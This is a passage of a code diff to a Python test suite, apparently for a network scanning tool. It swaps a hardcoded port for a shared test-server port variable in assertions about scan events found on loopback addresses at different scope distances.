0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.77:{HTTPSERVER_PORT}"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert len(all_events) == 18 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) assert len(all_events_nodups) == 16 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and "spider-danger" in e.tags]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/"]) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -451,7 +466,7 @@ def custom_setup(scan): "scope": {"report_distance": 1, "search_distance": 1}, "excavate": True, "speculate": True, - "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": f"{HTTPSERVER_PORT}"}}, "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], }, ) @@ -460,78 +475,78 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert len(all_events) == 22 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.88:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.99:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 3]) assert len(all_events_nodups) == 20 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.88:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.88:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.99:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 3]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) + assert 0 == len([e 